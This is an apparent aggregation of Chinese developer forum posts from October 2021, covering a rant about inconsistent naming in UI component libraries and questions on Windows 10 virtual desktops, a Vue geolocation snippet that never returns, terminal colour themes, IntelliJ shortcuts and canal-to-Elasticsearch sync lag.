我们得先是工程师再是前端对吧。当我们不由自主地和设计靠拢时,思维模式也受到了影响,似乎只有设计思维才会关注到那些形容词。

当我们在设计一套组件库的时候会遇到很多不一致的情况,在我的经验里面:

来自与设计和实现的不一致要多于纯粹实现层面的不一致。

当我们设计的组件库需要考虑到跨端情况的时候,我们的组件库应该有一套一致的 API 、一致的命名规则。但是从设计角度去决策的时候这件事情变得非常困难。

比如说:日期选择 这个组件,移动端通常叫做 DatePicker ,这个词强调的是用户的动作( pick ),在 PC 端通常叫做 Calendar ,这个词强调的是组件本身的特征。

但是我们在工程实现层面真他妈不需要这种差别,它就是一个日期选择组件而已。

还有:按钮 组件的类型属性,有的是表形的:default/info/warning/error ,有的是表义的:primary/secondary/danger

再一次,我们在工程实现层面真他妈不需要这种差别。它就是一个简单的按钮而已。

造组件库的人没有想清楚这件事情,用组件库的人却得承受这种不一致。那什么组件库的设计者们没想清楚这件事情?

因为他们的思维也被设计系统带偏了。一味的追求设计上的形式化的一致,却忽略了工程上逻辑的一致。

当这股邪风吹来,没人会在意组件库的工程化设计,没人在意它好不好用,每个人都想复制粘贴快速实现一套组件库,然后再披上设计系统的外衣,为自己的似锦前程添砖加瓦...

Windows10 的多桌面有什么使用场合?

Posted: 28 Oct 2021 05:36 AM PDT

一个典型的场合就是软件开太多,但暂时不需要使用,先去处理其他工作,然后添加一个桌面二,但下方的任务栏依然挤满了桌面一的窗口,这个实在蚌不住,我实在琢磨不出什么场合适合使用。

navigator.geolocation.getCurrentPosition 没有反应,请教一下如何解决?

Posted: 28 Oct 2021 04:50 AM PDT

<script> export default {     data() {     },     methods: {         getGPS() {             function success(position) {                 const latitude  = position.coords.latitude;                 const longitude = position.coords.longitude;                 console.log("经度");                 console.log(latitude);             }              function error() {                 console.log("不能获得您的位置。");             }             if(!navigator.geolocation) {                 console.log('Geolocation is not supported by your browser');             } else {                 console.log ('Locating…');                 navigator.geolocation.getCurrentPosition(success, error);             }         }     } } </script> <template>     <button @click="getGPS">当前位置</button> </template> <style scoped>      </style> 

点击获取当前位置,只输出 Locating

适配多软件的主题 / 配色方案

Posted: 28 Oct 2021 04:27 AM PDT

日常使用涉及到下面几个软件:

  • iTerm2
  • zsh
  • vim
  • tmux

总是要配置主题,配置的主题很难完全一样,导致切换个软件,屏幕的色调一下就变了,很不舒服。

有没有一些主题能够很好适配这几个软件的呢,或者分享其他的解决办法。

已知有 dracula (一个适配多软件的主题)。

想问一下 IntelliJ 家编辑器有没有文件头尾的快捷键?

Posted: 28 Oct 2021 04:24 AM PDT

对于 IntelliJ 家的 IDE 我经常使用,所以里面的快捷键都弄成了我自定义的,基本上不会远离键盘主编辑区域,但是对于到文件头部和末尾的快捷键一直没有找到,现在是用 CMD+L 输入行号控制,我基本上过了一遍所有的快捷键,是我真的没有找到,还是真的没有这个的设置呢,如果有知道的给我说一下,十分感谢🙏

使用 cancal 异步 es 数据延迟太大怎么办

Posted: 28 Oct 2021 04:18 AM PDT

目前使用 cancal 配合 adapter 把 mysql 数据异步到了 es ,但是我在新增数据和修改数据后,拿到的数据是 更新前的数据,后面我修改了源码,强行带上了?refresh=wait_for ,但是效果还是很差,新增时可以拿到最新了,但是修改还是不行

No comments:

Post a Comment